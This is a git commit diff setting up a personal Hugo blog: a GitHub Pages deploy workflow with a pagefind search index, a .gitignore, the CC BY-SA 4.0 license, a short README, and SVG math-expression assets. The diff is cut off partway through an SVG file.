2025 rebase
38
.github/workflows/publish.yml
vendored
Normal file
@@ -0,0 +1,38 @@
|
||||
name: github pages
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-22.04
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
submodules: true
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Setup Hugo
|
||||
uses: peaceiris/actions-hugo@v2
|
||||
with:
|
||||
hugo-version: 'latest'
|
||||
extended: true
|
||||
|
||||
- name: Build
|
||||
run: hugo -D --minify
|
||||
|
||||
- name: Download pagefind binary
|
||||
run: "wget https://github.com/CloudCannon/pagefind/releases/download/v1.0.3/pagefind-v1.0.3-x86_64-unknown-linux-musl.tar.gz && tar xf pagefind-*.tar.gz"
|
||||
|
||||
- name: Build search index
|
||||
run: "./pagefind"
|
||||
|
||||
- name: Deploy
|
||||
uses: peaceiris/actions-gh-pages@v3
|
||||
if: github.ref == 'refs/heads/main'
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
publish_dir: ./public
|
||||
4
.gitignore
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
public
|
||||
static/pagefind
|
||||
.hugo_build.lock
|
||||
.direnv
|
||||
428
LICENSE
Normal file
@@ -0,0 +1,428 @@
|
||||
Attribution-ShareAlike 4.0 International
|
||||
|
||||
=======================================================================
|
||||
|
||||
Creative Commons Corporation ("Creative Commons") is not a law firm and
|
||||
does not provide legal services or legal advice. Distribution of
|
||||
Creative Commons public licenses does not create a lawyer-client or
|
||||
other relationship. Creative Commons makes its licenses and related
|
||||
information available on an "as-is" basis. Creative Commons gives no
|
||||
warranties regarding its licenses, any material licensed under their
|
||||
terms and conditions, or any related information. Creative Commons
|
||||
disclaims all liability for damages resulting from their use to the
|
||||
fullest extent possible.
|
||||
|
||||
Using Creative Commons Public Licenses
|
||||
|
||||
Creative Commons public licenses provide a standard set of terms and
|
||||
conditions that creators and other rights holders may use to share
|
||||
original works of authorship and other material subject to copyright
|
||||
and certain other rights specified in the public license below. The
|
||||
following considerations are for informational purposes only, are not
|
||||
exhaustive, and do not form part of our licenses.
|
||||
|
||||
Considerations for licensors: Our public licenses are
|
||||
intended for use by those authorized to give the public
|
||||
permission to use material in ways otherwise restricted by
|
||||
copyright and certain other rights. Our licenses are
|
||||
irrevocable. Licensors should read and understand the terms
|
||||
and conditions of the license they choose before applying it.
|
||||
Licensors should also secure all rights necessary before
|
||||
applying our licenses so that the public can reuse the
|
||||
material as expected. Licensors should clearly mark any
|
||||
material not subject to the license. This includes other CC-
|
||||
licensed material, or material used under an exception or
|
||||
limitation to copyright. More considerations for licensors:
|
||||
wiki.creativecommons.org/Considerations_for_licensors
|
||||
|
||||
Considerations for the public: By using one of our public
|
||||
licenses, a licensor grants the public permission to use the
|
||||
licensed material under specified terms and conditions. If
|
||||
the licensor's permission is not necessary for any reason--for
|
||||
example, because of any applicable exception or limitation to
|
||||
copyright--then that use is not regulated by the license. Our
|
||||
licenses grant only permissions under copyright and certain
|
||||
other rights that a licensor has authority to grant. Use of
|
||||
the licensed material may still be restricted for other
|
||||
reasons, including because others have copyright or other
|
||||
rights in the material. A licensor may make special requests,
|
||||
such as asking that all changes be marked or described.
|
||||
Although not required by our licenses, you are encouraged to
|
||||
respect those requests where reasonable. More considerations
|
||||
for the public:
|
||||
wiki.creativecommons.org/Considerations_for_licensees
|
||||
|
||||
=======================================================================
|
||||
|
||||
Creative Commons Attribution-ShareAlike 4.0 International Public
|
||||
License
|
||||
|
||||
By exercising the Licensed Rights (defined below), You accept and agree
|
||||
to be bound by the terms and conditions of this Creative Commons
|
||||
Attribution-ShareAlike 4.0 International Public License ("Public
|
||||
License"). To the extent this Public License may be interpreted as a
|
||||
contract, You are granted the Licensed Rights in consideration of Your
|
||||
acceptance of these terms and conditions, and the Licensor grants You
|
||||
such rights in consideration of benefits the Licensor receives from
|
||||
making the Licensed Material available under these terms and
|
||||
conditions.
|
||||
|
||||
|
||||
Section 1 -- Definitions.
|
||||
|
||||
a. Adapted Material means material subject to Copyright and Similar
|
||||
Rights that is derived from or based upon the Licensed Material
|
||||
and in which the Licensed Material is translated, altered,
|
||||
arranged, transformed, or otherwise modified in a manner requiring
|
||||
permission under the Copyright and Similar Rights held by the
|
||||
Licensor. For purposes of this Public License, where the Licensed
|
||||
Material is a musical work, performance, or sound recording,
|
||||
Adapted Material is always produced where the Licensed Material is
|
||||
synched in timed relation with a moving image.
|
||||
|
||||
b. Adapter's License means the license You apply to Your Copyright
|
||||
and Similar Rights in Your contributions to Adapted Material in
|
||||
accordance with the terms and conditions of this Public License.
|
||||
|
||||
c. BY-SA Compatible License means a license listed at
|
||||
creativecommons.org/compatiblelicenses, approved by Creative
|
||||
Commons as essentially the equivalent of this Public License.
|
||||
|
||||
d. Copyright and Similar Rights means copyright and/or similar rights
|
||||
closely related to copyright including, without limitation,
|
||||
performance, broadcast, sound recording, and Sui Generis Database
|
||||
Rights, without regard to how the rights are labeled or
|
||||
categorized. For purposes of this Public License, the rights
|
||||
specified in Section 2(b)(1)-(2) are not Copyright and Similar
|
||||
Rights.
|
||||
|
||||
e. Effective Technological Measures means those measures that, in the
|
||||
absence of proper authority, may not be circumvented under laws
|
||||
fulfilling obligations under Article 11 of the WIPO Copyright
|
||||
Treaty adopted on December 20, 1996, and/or similar international
|
||||
agreements.
|
||||
|
||||
f. Exceptions and Limitations means fair use, fair dealing, and/or
|
||||
any other exception or limitation to Copyright and Similar Rights
|
||||
that applies to Your use of the Licensed Material.
|
||||
|
||||
g. License Elements means the license attributes listed in the name
|
||||
of a Creative Commons Public License. The License Elements of this
|
||||
Public License are Attribution and ShareAlike.
|
||||
|
||||
h. Licensed Material means the artistic or literary work, database,
|
||||
or other material to which the Licensor applied this Public
|
||||
License.
|
||||
|
||||
i. Licensed Rights means the rights granted to You subject to the
|
||||
terms and conditions of this Public License, which are limited to
|
||||
all Copyright and Similar Rights that apply to Your use of the
|
||||
Licensed Material and that the Licensor has authority to license.
|
||||
|
||||
j. Licensor means the individual(s) or entity(ies) granting rights
|
||||
under this Public License.
|
||||
|
||||
k. Share means to provide material to the public by any means or
|
||||
process that requires permission under the Licensed Rights, such
|
||||
as reproduction, public display, public performance, distribution,
|
||||
dissemination, communication, or importation, and to make material
|
||||
available to the public including in ways that members of the
|
||||
public may access the material from a place and at a time
|
||||
individually chosen by them.
|
||||
|
||||
l. Sui Generis Database Rights means rights other than copyright
|
||||
resulting from Directive 96/9/EC of the European Parliament and of
|
||||
the Council of 11 March 1996 on the legal protection of databases,
|
||||
as amended and/or succeeded, as well as other essentially
|
||||
equivalent rights anywhere in the world.
|
||||
|
||||
m. You means the individual or entity exercising the Licensed Rights
|
||||
under this Public License. Your has a corresponding meaning.
|
||||
|
||||
|
||||
Section 2 -- Scope.
|
||||
|
||||
a. License grant.
|
||||
|
||||
1. Subject to the terms and conditions of this Public License,
|
||||
the Licensor hereby grants You a worldwide, royalty-free,
|
||||
non-sublicensable, non-exclusive, irrevocable license to
|
||||
exercise the Licensed Rights in the Licensed Material to:
|
||||
|
||||
a. reproduce and Share the Licensed Material, in whole or
|
||||
in part; and
|
||||
|
||||
b. produce, reproduce, and Share Adapted Material.
|
||||
|
||||
2. Exceptions and Limitations. For the avoidance of doubt, where
|
||||
Exceptions and Limitations apply to Your use, this Public
|
||||
License does not apply, and You do not need to comply with
|
||||
its terms and conditions.
|
||||
|
||||
3. Term. The term of this Public License is specified in Section
|
||||
6(a).
|
||||
|
||||
4. Media and formats; technical modifications allowed. The
|
||||
Licensor authorizes You to exercise the Licensed Rights in
|
||||
all media and formats whether now known or hereafter created,
|
||||
and to make technical modifications necessary to do so. The
|
||||
Licensor waives and/or agrees not to assert any right or
|
||||
authority to forbid You from making technical modifications
|
||||
necessary to exercise the Licensed Rights, including
|
||||
technical modifications necessary to circumvent Effective
|
||||
Technological Measures. For purposes of this Public License,
|
||||
simply making modifications authorized by this Section 2(a)
|
||||
(4) never produces Adapted Material.
|
||||
|
||||
5. Downstream recipients.
|
||||
|
||||
a. Offer from the Licensor -- Licensed Material. Every
|
||||
recipient of the Licensed Material automatically
|
||||
receives an offer from the Licensor to exercise the
|
||||
Licensed Rights under the terms and conditions of this
|
||||
Public License.
|
||||
|
||||
b. Additional offer from the Licensor -- Adapted Material.
|
||||
Every recipient of Adapted Material from You
|
||||
automatically receives an offer from the Licensor to
|
||||
exercise the Licensed Rights in the Adapted Material
|
||||
under the conditions of the Adapter's License You apply.
|
||||
|
||||
c. No downstream restrictions. You may not offer or impose
|
||||
any additional or different terms or conditions on, or
|
||||
apply any Effective Technological Measures to, the
|
||||
Licensed Material if doing so restricts exercise of the
|
||||
Licensed Rights by any recipient of the Licensed
|
||||
Material.
|
||||
|
||||
6. No endorsement. Nothing in this Public License constitutes or
|
||||
may be construed as permission to assert or imply that You
|
||||
are, or that Your use of the Licensed Material is, connected
|
||||
with, or sponsored, endorsed, or granted official status by,
|
||||
the Licensor or others designated to receive attribution as
|
||||
provided in Section 3(a)(1)(A)(i).
|
||||
|
||||
b. Other rights.
|
||||
|
||||
1. Moral rights, such as the right of integrity, are not
|
||||
licensed under this Public License, nor are publicity,
|
||||
privacy, and/or other similar personality rights; however, to
|
||||
the extent possible, the Licensor waives and/or agrees not to
|
||||
assert any such rights held by the Licensor to the limited
|
||||
extent necessary to allow You to exercise the Licensed
|
||||
Rights, but not otherwise.
|
||||
|
||||
2. Patent and trademark rights are not licensed under this
|
||||
Public License.
|
||||
|
||||
3. To the extent possible, the Licensor waives any right to
|
||||
collect royalties from You for the exercise of the Licensed
|
||||
Rights, whether directly or through a collecting society
|
||||
under any voluntary or waivable statutory or compulsory
|
||||
licensing scheme. In all other cases the Licensor expressly
|
||||
reserves any right to collect such royalties.
|
||||
|
||||
|
||||
Section 3 -- License Conditions.
|
||||
|
||||
Your exercise of the Licensed Rights is expressly made subject to the
|
||||
following conditions.
|
||||
|
||||
a. Attribution.
|
||||
|
||||
1. If You Share the Licensed Material (including in modified
|
||||
form), You must:
|
||||
|
||||
a. retain the following if it is supplied by the Licensor
|
||||
with the Licensed Material:
|
||||
|
||||
i. identification of the creator(s) of the Licensed
|
||||
Material and any others designated to receive
|
||||
attribution, in any reasonable manner requested by
|
||||
the Licensor (including by pseudonym if
|
||||
designated);
|
||||
|
||||
ii. a copyright notice;
|
||||
|
||||
iii. a notice that refers to this Public License;
|
||||
|
||||
iv. a notice that refers to the disclaimer of
|
||||
warranties;
|
||||
|
||||
v. a URI or hyperlink to the Licensed Material to the
|
||||
extent reasonably practicable;
|
||||
|
||||
b. indicate if You modified the Licensed Material and
|
||||
retain an indication of any previous modifications; and
|
||||
|
||||
c. indicate the Licensed Material is licensed under this
|
||||
Public License, and include the text of, or the URI or
|
||||
hyperlink to, this Public License.
|
||||
|
||||
2. You may satisfy the conditions in Section 3(a)(1) in any
|
||||
reasonable manner based on the medium, means, and context in
|
||||
which You Share the Licensed Material. For example, it may be
|
||||
reasonable to satisfy the conditions by providing a URI or
|
||||
hyperlink to a resource that includes the required
|
||||
information.
|
||||
|
||||
3. If requested by the Licensor, You must remove any of the
|
||||
information required by Section 3(a)(1)(A) to the extent
|
||||
reasonably practicable.
|
||||
|
||||
b. ShareAlike.
|
||||
|
||||
In addition to the conditions in Section 3(a), if You Share
|
||||
Adapted Material You produce, the following conditions also apply.
|
||||
|
||||
1. The Adapter's License You apply must be a Creative Commons
|
||||
license with the same License Elements, this version or
|
||||
later, or a BY-SA Compatible License.
|
||||
|
||||
2. You must include the text of, or the URI or hyperlink to, the
|
||||
Adapter's License You apply. You may satisfy this condition
|
||||
in any reasonable manner based on the medium, means, and
|
||||
context in which You Share Adapted Material.
|
||||
|
||||
3. You may not offer or impose any additional or different terms
|
||||
or conditions on, or apply any Effective Technological
|
||||
Measures to, Adapted Material that restrict exercise of the
|
||||
rights granted under the Adapter's License You apply.
|
||||
|
||||
|
||||
Section 4 -- Sui Generis Database Rights.
|
||||
|
||||
Where the Licensed Rights include Sui Generis Database Rights that
|
||||
apply to Your use of the Licensed Material:
|
||||
|
||||
a. for the avoidance of doubt, Section 2(a)(1) grants You the right
|
||||
to extract, reuse, reproduce, and Share all or a substantial
|
||||
portion of the contents of the database;
|
||||
|
||||
b. if You include all or a substantial portion of the database
|
||||
contents in a database in which You have Sui Generis Database
|
||||
Rights, then the database in which You have Sui Generis Database
|
||||
Rights (but not its individual contents) is Adapted Material,
|
||||
including for purposes of Section 3(b); and
|
||||
|
||||
c. You must comply with the conditions in Section 3(a) if You Share
|
||||
all or a substantial portion of the contents of the database.
|
||||
|
||||
For the avoidance of doubt, this Section 4 supplements and does not
|
||||
replace Your obligations under this Public License where the Licensed
|
||||
Rights include other Copyright and Similar Rights.
|
||||
|
||||
|
||||
Section 5 -- Disclaimer of Warranties and Limitation of Liability.
|
||||
|
||||
a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE
|
||||
EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS
|
||||
AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF
|
||||
ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS,
|
||||
IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION,
|
||||
WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR
|
||||
PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS,
|
||||
ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT
|
||||
KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT
|
||||
ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU.
|
||||
|
||||
b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE
|
||||
TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION,
|
||||
NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT,
|
||||
INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES,
|
||||
COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR
|
||||
USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN
|
||||
ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR
|
||||
DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR
|
||||
IN PART, THIS LIMITATION MAY NOT APPLY TO YOU.
|
||||
|
||||
c. The disclaimer of warranties and limitation of liability provided
|
||||
above shall be interpreted in a manner that, to the extent
|
||||
possible, most closely approximates an absolute disclaimer and
|
||||
waiver of all liability.
|
||||
|
||||
|
||||
Section 6 -- Term and Termination.
|
||||
|
||||
a. This Public License applies for the term of the Copyright and
|
||||
Similar Rights licensed here. However, if You fail to comply with
|
||||
this Public License, then Your rights under this Public License
|
||||
terminate automatically.
|
||||
|
||||
b. Where Your right to use the Licensed Material has terminated under
|
||||
Section 6(a), it reinstates:
|
||||
|
||||
1. automatically as of the date the violation is cured, provided
|
||||
it is cured within 30 days of Your discovery of the
|
||||
violation; or
|
||||
|
||||
2. upon express reinstatement by the Licensor.
|
||||
|
||||
For the avoidance of doubt, this Section 6(b) does not affect any
|
||||
right the Licensor may have to seek remedies for Your violations
|
||||
of this Public License.
|
||||
|
||||
c. For the avoidance of doubt, the Licensor may also offer the
|
||||
Licensed Material under separate terms or conditions or stop
|
||||
distributing the Licensed Material at any time; however, doing so
|
||||
will not terminate this Public License.
|
||||
|
||||
d. Sections 1, 5, 6, 7, and 8 survive termination of this Public
|
||||
License.
|
||||
|
||||
|
||||
Section 7 -- Other Terms and Conditions.
|
||||
|
||||
a. The Licensor shall not be bound by any additional or different
|
||||
terms or conditions communicated by You unless expressly agreed.
|
||||
|
||||
b. Any arrangements, understandings, or agreements regarding the
|
||||
Licensed Material not stated herein are separate from and
|
||||
independent of the terms and conditions of this Public License.
|
||||
|
||||
|
||||
Section 8 -- Interpretation.
|
||||
|
||||
a. For the avoidance of doubt, this Public License does not, and
|
||||
shall not be interpreted to, reduce, limit, restrict, or impose
|
||||
conditions on any use of the Licensed Material that could lawfully
|
||||
be made without permission under this Public License.
|
||||
|
||||
b. To the extent possible, if any provision of this Public License is
|
||||
deemed unenforceable, it shall be automatically reformed to the
|
||||
minimum extent necessary to make it enforceable. If the provision
|
||||
cannot be reformed, it shall be severed from this Public License
|
||||
without affecting the enforceability of the remaining terms and
|
||||
conditions.
|
||||
|
||||
c. No term or condition of this Public License will be waived and no
|
||||
failure to comply consented to unless expressly agreed to by the
|
||||
Licensor.
|
||||
|
||||
d. Nothing in this Public License constitutes or may be interpreted
|
||||
as a limitation upon, or waiver of, any privileges and immunities
|
||||
that apply to the Licensor or You, including from the legal
|
||||
processes of any jurisdiction or authority.
|
||||
|
||||
|
||||
=======================================================================
|
||||
|
||||
Creative Commons is not a party to its public
|
||||
licenses. Notwithstanding, Creative Commons may elect to apply one of
|
||||
its public licenses to material it publishes and in those instances
|
||||
will be considered the “Licensor.” The text of the Creative Commons
|
||||
public licenses is dedicated to the public domain under the CC0 Public
|
||||
Domain Dedication. Except for the limited purpose of indicating that
|
||||
material is shared under a Creative Commons public license or as
|
||||
otherwise permitted by the Creative Commons policies published at
|
||||
creativecommons.org/policies, Creative Commons does not authorize the
|
||||
use of the trademark "Creative Commons" or any other trademark or logo
|
||||
of Creative Commons without its prior written consent including,
|
||||
without limitation, in connection with any unauthorized modifications
|
||||
to any of its public licenses or any other arrangements,
|
||||
understandings, or agreements concerning use of licensed material. For
|
||||
the avoidance of doubt, this paragraph does not form part of the
|
||||
public licenses.
|
||||
|
||||
Creative Commons may be contacted at creativecommons.org.
|
||||
|
||||
16
README.md
Normal file
@@ -0,0 +1,16 @@
|
||||
# Personal Blog
|
||||
|
||||
I talk about tech I find interesting and solutions to hacking competitions.
|
||||
|
||||
Static site generation is powered by [Hugo](https://gohugo.io).
|
||||
|
||||
The custom theme [Paprika](/themes/paprika/README.md) is adapted from the [Paper](https://themes.gohugo.io/themes/hugo-paper/) theme.
|
||||
|
||||
### Reading offline
|
||||
|
||||
You can read the entirety of the blog offline by cloning and building it locally.
|
||||
|
||||
```sh
|
||||
git clone https://github.com/lavafroth/lavafroth.github.io
|
||||
nix develop --command serve
|
||||
```
|
||||
4
assets/Collector.svg
Normal file
|
After Width: | Height: | Size: 137 KiB |
4
assets/Functor.svg
Normal file
|
After Width: | Height: | Size: 168 KiB |
4
assets/PartiallyOpenLoop.svg
Normal file
|
After Width: | Height: | Size: 1.1 MiB |
4
assets/TaggedFunctor.svg
Normal file
|
After Width: | Height: | Size: 542 KiB |
2
assets/volcano-expression-0.svg
Normal file
|
After Width: | Height: | Size: 9.2 KiB |
2
assets/volcano-expression-1.svg
Normal file
|
After Width: | Height: | Size: 8.9 KiB |
2
assets/volcano-expression-10.svg
Normal file
|
After Width: | Height: | Size: 9.5 KiB |
2
assets/volcano-expression-11.svg
Normal file
|
After Width: | Height: | Size: 9.1 KiB |
2
assets/volcano-expression-12.svg
Normal file
|
After Width: | Height: | Size: 7.2 KiB |
2
assets/volcano-expression-13.svg
Normal file
|
After Width: | Height: | Size: 6.6 KiB |
2
assets/volcano-expression-14.svg
Normal file
@@ -0,0 +1,2 @@
|
||||
<svg style="vertical-align: -1.018ex" xmlns="http://www.w3.org/2000/svg" width="8.84ex" height="3.167ex" role="img" focusable="false" viewBox="0 -950 3907.2 1400">
|
||||
<g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(877.8,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mo" transform="translate(1933.6,0)"><path data-c="220F" d="M220 812Q220 813 218 819T214 829T208 840T199 853T185 866T166 878T140 887T107 893T66 896H56V950H1221V896H1211Q1080 896 1058 812V-311Q1076 -396 1211 -396H1221V-450H725V-396H735Q864 -396 888 -314Q889 -312 889 -311V896H388V292L389 -311Q405 -396 542 -396H552V-450H56V-396H66Q195 -396 219 -314Q220 -312 220 -311V812Z"></path></g><g data-mml-node="mi" transform="translate(3378.2,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g></g></g></svg>
|
||||
|
After Width: | Height: | Size: 2.1 KiB |
2
assets/volcano-expression-15.svg
Normal file
@@ -0,0 +1,2 @@
|
||||
<svg style="vertical-align: -1.909ex" xmlns="http://www.w3.org/2000/svg" width="8.675ex" height="4.438ex" role="img" focusable="false" viewBox="0 -1118 3834.5 1961.8">
|
||||
<g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="TeXAtom" transform="translate(911,-150) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g></g><g data-mml-node="mo" transform="translate(1482.7,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mfrac" transform="translate(2538.5,0)"><g data-mml-node="mi" transform="translate(348,676)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="msub" transform="translate(220,-686)"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" transform="translate(562,-150) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g></g><rect width="1056" height="60" x="120" y="220"></rect></g></g></g></svg>
|
||||
|
After Width: | Height: | Size: 4.1 KiB |
2
assets/volcano-expression-16.svg
Normal file
|
After Width: | Height: | Size: 8.2 KiB |
2
assets/volcano-expression-17.svg
Normal file
|
After Width: | Height: | Size: 7.9 KiB |
2
assets/volcano-expression-18.svg
Normal file
|
After Width: | Height: | Size: 5.1 KiB |
2
assets/volcano-expression-19.svg
Normal file
|
After Width: | Height: | Size: 13 KiB |
2
assets/volcano-expression-2.svg
Normal file
|
After Width: | Height: | Size: 7.7 KiB |
2
assets/volcano-expression-3.svg
Normal file
|
After Width: | Height: | Size: 6.7 KiB |
2
assets/volcano-expression-4.svg
Normal file
|
After Width: | Height: | Size: 5.9 KiB |
2
assets/volcano-expression-5.svg
Normal file
@@ -0,0 +1,2 @@
|
||||
<svg style="vertical-align: -1.602ex" xmlns="http://www.w3.org/2000/svg" width="18.012ex" height="4.701ex" role="img" focusable="false" viewBox="0 -1370 7961.1 2078">
|
||||
<g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mi" transform="translate(1055.8,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mo" transform="translate(1707,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(2707.2,0)"><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z"></path></g><g data-mml-node="mo" transform="translate(3429.4,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 